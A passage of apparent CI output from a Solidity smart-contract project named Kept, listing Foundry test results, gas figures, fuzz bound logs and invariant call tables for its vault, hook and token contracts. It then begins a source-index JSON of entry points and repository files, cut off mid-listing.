test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 30.12ms (28.84ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1263329, ~: 1265677)\nLogs:\n  Bound result 10\n  Bound result 899000000000000000049859727\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 711510, ~: 710910)\nLogs:\n  Bound result 3312\n  Bound result 1\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 718343, ~: 719896)\nLogs:\n  Bound result 2701\n  Bound result 905618455\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6094946)\n[PASS] test_callbacksOnlyManager() (gas: 120264)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3959276)\n[PASS] test_feeSchedule() (gas: 3379415)\n[PASS] test_noLiquidityNoFee() (gas: 207930)\n[PASS] test_onlyFactoryInitializes() (gas: 246570)\n[PASS] test_onlyOnePoolEver() (gas: 45867)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 851731)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1055157)\n[PASS] test_partialFillsAllModes() (gas: 2866439)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 592854)\n[PASS] test_sweepFundsTheReferee() (gas: 1235363)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 128.16ms (276.83ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 179.37ms (70.94ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 179.44ms (944.08µs CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80298, ~: 80716)\nLogs:\n  Bound result 88903465581684793125916180\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 187.25ms (187.35ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 717503, ~: 704682)\nLogs:\n  Bound result 2\n  Bound result 61569\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1557440, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1580491, ~: 1586605)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 187.23ms (468.29ms CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 44461848)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 46643891)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074331)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 71769639)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 187.34ms (103.19ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1272266, ~: 1242026)\nLogs:\n  Bound result 1095\n  Bound result 899000000000000000000000562\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 723060, ~: 723116)\nLogs:\n  Bound result 1095\n  Bound result 561\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 728975, ~: 727728)\nLogs:\n  Bound result 30\n  Bound result 139300581170469283000006\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6091571)\n[PASS] test_callbacksOnlyManager() (gas: 119549)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56338)\n[PASS] test_constructorRejectsBadConfig() (gas: 10850)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 3977497)\n[PASS] test_feeSchedule() (gas: 3390447)\n[PASS] test_noLiquidityNoFee() (gas: 216704)\n[PASS] test_onlyFactoryInitializes() (gas: 245832)\n[PASS] test_onlyOnePoolEver() (gas: 45639)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 854602)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1070370)\n[PASS] test_partialFillsAllModes() (gas: 2874027)\n[PASS] test_permissionBits() (gas: 5954)\n[PASS] test_sweepDuringUnlockDefers() (gas: 603658)\n[PASS] test_sweepFundsTheReferee() (gas: 1240660)\n[PASS] test_sweepIncludesDirectDonations() (gas: 178033)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 187.37ms (503.50ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58892, ~: 58236)\nLogs:\n  Bound result 56\n  Bound result 106\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3516918, ~: 2936244)\nLogs:\n  Bound result 7\n  Bound result 3106748337\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() (gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 187.35ms (270.72ms CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:KeptVaultActorsInvariantTest\n[PASS]\nKeptVaultActorsInvariantTest invariants:\n[PASS] invariant_imdConserved\n[PASS] invariant_openCountMatches\n[PASS] invariant_rulesHold\n[PASS] invariant_teamTokensConserved\n KeptVaultActorsInvariantTest invariants (runs: 64, calls: 6400, reverts: 0)\n\n╭---------------+----------+-------+---------+----------╮\n| Contract      | Selector | Calls | Reverts | Discards |\n+=======================================================+\n| ActorsHandler | answer   | 596   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | check    | 565   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | clear    | 605   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | create   | 582   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | donate   | 599   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | fund     | 553   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | reprice  | 562   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | rotate   | 585   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | settle   | 583   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | wait     | 552   | 0       | 0        |\n|---------------+----------+-------+---------+----------|\n| ActorsHandler | withdraw | 618   | 0       | 0        |\n╰---------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 700000000000008196\n  Bound result 1766\n  Bound result 21017\n  Bound result 40\n  Bound result 4\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 860412\n  Bound result 20468\n  Bound result 12730\n  Bound result 16303\n  Bound result 1\n  Bound result 13342\n  Bound result 1\n  Bound result 700000000000003811\n  Bound result 10236\n  Bound result 2\n  Bound result 820012\n  Bound result 235\n  Bound result 820012\n  Bound result 235\n  Bound result 8056\n  Bound result 700000000000016115\n  Bound result 700000000000016121\n  Bound result 1\n  Bound result 860473\n  Bound result 834608682242094266405572\n  Bound result 1904081839772479143\n  Bound result 1\n  Bound result 2\n  Bound result 172800\n  Bound result 1\n  Bound result 84154\n  Bound result 1519338577213101\n  Bound result 1943390248827724407\n  Bound result 700000000000009349\n  Bound result 1\n  Bound result 3\n  Bound result 119\n  Bound result 4\n  Bound result 2\n  Bound result 1538458570946369885\n  Bound result 4\n  Bound result 1\n  Bound result 42161\n  Bound result 3667\n  Bound result 1440\n  Bound result 3\n  Bound result 4096\n  Bound result 6672\n  Bound result 4096\n  Bound result 6672\n  Bound result 4096\n  Bound result 6672\n  Bound result 3242\n  Bound result 2\n  Bound result 17846\n  Bound result 12996\n  Bound result 15738\n  Bound result 5\n  Bound result 4\n  Bound result 3\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 3603\n  Bound result 1155208902445\n  Bound result 1243377696693487047\n  Bound result 2\n  Bound result 6\n  Bound result 1\n  Bound result 5843\n  Bound result 7\n  Bound result 12488\n  Bound result 1\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 1\n  Bound result 16463\n  Bound result 700000000000015434\n  Bound result 5\n  Bound result 3\n  Bound result 13313\n  Bound result 175774797\n  Bound result 13313\n  Bound result 175774797\n  Bound result 13313\n  Bound result 175774797\n  Bound result 20198\n  Bound result 4\n  Bound result 3222\n  Bound result 700000000000005425\n  Bound result 28800\n  Bound result 4\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 346482\n  Bound result 1\n  Bound result 372815452998599942\n  Bound result 1\n  Bound result 6\n  Bound result 4\n  Bound result 8\n  Bound result 5077\n  Bound result 8089\n  Bound result 1606714308\n  Bound result 700000000527324395\n  Bound result 1\n  Bound result 120667740506\n  Bound result 42\n  Bound result 6\n  Bound result 9\n  Bound result 10286\n  Bound result 3\n  Bound result 47\n  Bound result 2\n  Bound result 5643657678917\n  Bound result 4\n  Bound result 1\n  Bound result 860502\n  Bound result 15232\n  Bound result 1935\n  Bound result 5\n  Bound result 1\n  Bound result 9655\n  Bound result 1000000000000000000\n  Bound result 10\n  Bound result 10\n  Bound result 27\n  Bound result 700000000000000764\n  Bound result 10\n  Bound result 6902\n  Bound result 247204108120568166\n  Bound result 8\n  Bound result 3\n  Bound result 8\n  Bound result 616684279554989\n  Bound result 1149634294\n  Bound result 2\n  Bound result 860441\n  Bound result 287611518726070485650040\n  Bound result 860441\n  Bound result 287611518726070485650040\n  Bound result 15030\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.66s (5.65s CPU time)\n\nRan 2 tests for test/VaultInvariant.t.sol:VaultHandlerSmokeTest\n[PASS]\nVaultHandlerSmokeTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultHandlerSmokeTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86936\n  Bound result 3521045371\n  Bound result 3\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 863941\n  Bound result 2014\n  Bound result 10038\n  Bound result 2286\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 732361\n  Bound result 726142741105178168243183\n  Bound result 6018\n  Bound result 2\n  Bound result 2\n  Bound result 18\n  Bound result 1\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 10173\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 1245\n  Bound result 1\n  Bound result 14477\n  Bound result 2\n  Bound result 20823\n  Bound result 8288\n  Bound result 20823\n  Bound result 8288\n  Bound result 8378\n  Bound result 1\n  Bound result 483\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 3\n  Bound result 3\n  Bound result 3\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 3926\n  Bound result 2\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 6814\n  Bound result 1383\n  Bound result 862\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 860554\n  Bound result 5809\n  Bound result 845\n  Bound result 5\n  Bound result 816850279\n  Bound result 5\n  Bound result 5\n  Bound result 13017\n  Bound result 3\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 200000\n  Bound result 17020\n  Bound result 1243\n  Bound result 2\n  Bound result 4640\n  Bound result 3\n  Bound result 4\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 253930\n  Bound result 495374880689227937691182\n  Bound result 12838\n  Bound result 7\n  Bound result 6157\n  Bound result 7\n  Bound result 74436\n  Bound result 4\n  Bound result 4\n  Bound result 3523503886\n  Bound result 7\n  Bound result 8974\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 2\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 4782\n  Bound result 4\n  Bound result 5\n  Bound result 563811621033363778\n  Bound result 1\n  Bound result 1086325249\n  Bound result 2\n  Bound result 7\n  Bound result 6\n  Bound result 6\n  Bound result 1\n  Bound result 10301\n  Bound result 3\n  Bound result 172800\n  Bound result 4\n  Bound result 11771\n  Bound result 7526768903561293616\n  Bound result 11771\n  Bound result 7526768903561293616\n  Bound result 11771\n  Bound result 7526768903561293616\n  Bound result 11771\n  Bound result 7526768903561293616\n  Bound result 5608\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 1\n  Bound result 7\n  Bound result 7\n  Bound result 10267\n  Bound result 3\n  Bound result 19490\n  Bound result 2\n  Bound result 3\n  Bound result 860502\n  Bound result 6631\n  Bound result 860502\n  Bound result 6631\n  Bound result 860502\n  Bound result 6631\n  Bound result 816\n  Bound result 5\n  Bound result 2\n  Bound result 15001\n  Bound result 1\n  Bound result 3\n  Bound result 3928\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 9404\n  Bound result 16858\n  Bound result 9404\n  Bound result 16858\n  Bound result 9404\n  Bound result 16858\n  Bound result 7922\n  Bound result 15880\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 8\n\n[PASS] test_handlerReachesPayoutAndBurn() (gas: 2028271)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.47s (11.46s CPU time)\n\nRan 1 test for test/VaultInvariant.t.sol:VaultInvariantTest\n[PASS]\nVaultInvariantTest invariants:\n[PASS] invariant_imdAccounted\n[PASS] invariant_settledMilestonesHaveOutcome\n[PASS] invariant_tokensConserved\n VaultInvariantTest invariants (runs: 128, calls: 16384, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| VaultHandler | answer   | 1799  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | check    | 1805  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | clear    | 1828  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | create   | 1783  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | donate   | 1845  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | fund     | 1806  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | settle   | 1814  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | wait     | 1874  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| VaultHandler | withdraw | 1830  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 86937\n  Bound result 1432\n  Bound result 1\n  Bound result 863941\n  Bound result 1799\n  Bound result 1599\n  Bound result 8886\n  Bound result 1\n  Bound result 563811617509869948\n  Bound result 1\n  Bound result 221218\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2430097\n  Bound result 1\n  Bound result 20\n  Bound result 1\n  Bound result 16387\n  Bound result 2018\n  Bound result 4725\n  Bound result 2\n  Bound result 1\n  Bound result 18\n  Bound result 2\n  Bound result 900\n  Bound result 1482\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 9471\n  Bound result 121945\n  Bound result 2\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 972\n  Bound result 2\n  Bound result 14181\n  Bound result 2\n  Bound result 20823\n  Bound result 6807\n  Bound result 20823\n  Bound result 6807\n  Bound result 8179\n  Bound result 1\n  Bound result 483\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 3\n  Bound result 516\n  Bound result 3\n  Bound result 2\n  Bound result 11\n  Bound result 96\n  Bound result 4\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 8753\n  Bound result 1389714706\n  Bound result 1606\n  Bound result 2\n  Bound result 4\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 860554\n  Bound result 1423\n  Bound result 844\n  Bound result 5\n  Bound result 816850279\n  Bound result 4\n  Bound result 5\n  Bound result 12957\n  Bound result 3\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 200000\n  Bound result 17024\n  Bound result 231\n  Bound result 2\n  Bound result 4060877235\n  Bound result 6\n  Bound result 4\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 19451\n  Bound result 201580172512298086386466\n  Bound result 12661\n  Bound result 7\n  Bound result 5366\n  Bound result 4\n  Bound result 8837\n  Bound result 7\n  Bound result 4\n  Bound result 2514405816469773013\n  Bound result 4\n  Bound result 8629\n  Bound result 6\n  Bound result 6\n  Bound result 2\n  Bound result 2\n  Bound result 4\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 42759\n  Bound result 3074\n  Bound result 4\n  Bound result 5\n  Bound result 1125891786828490921\n  Bound result 7\n  Bound result 2113064533707600950\n  Bound result 2\n  Bound result 1\n  Bound result 6\n  Bound result 6\n  Bound result 1\n  Bound result 10191\n  Bound result 3\n  Bound result 172800\n  Bound result 4\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 12902\n  Bound result 16208\n  Bound result 5615\n  Bound result 5\n  Bound result 6\n  Bound result 1\n  Bound result 860427\n  Bound result 140877024194983170\n  Bound result 0\n  Bound result 1\n  Bound result 7\n  Bound result 7\n  Bound result 444\n  Bound result 3\n  Bound result 19377\n  Bound result 2\n  Bound result 4\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 860502\n  Bound result 10146\n  Bound result 2221339669\n  Bound result 4\n  Bound result 2\n  Bound result 106\n  Bound result 1\n  Bound result 3\n  Bound result 4240\n  Bound result 10\n  Bound result 10\n  Bound result 3\n  Bound result 7851\n  Bound result 16118\n  Bound result 7851\n  Bound result 16118\n  Bound result 7851\n  Bound result 16118\n  Bound result 7624\n  Bound result 2117\n  Bound result 8\n  Bound result 2082849318771142908\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.08s (12.08s CPU time)\n\nRan 16 test suites in 12.08s (30.67s CPU time): 153 tests passed, 0 failed, 1 skipped (154 total tests)\n","passed":true},{"durationMs":127,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":104,\"README.md\":119,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":150,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":211,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshot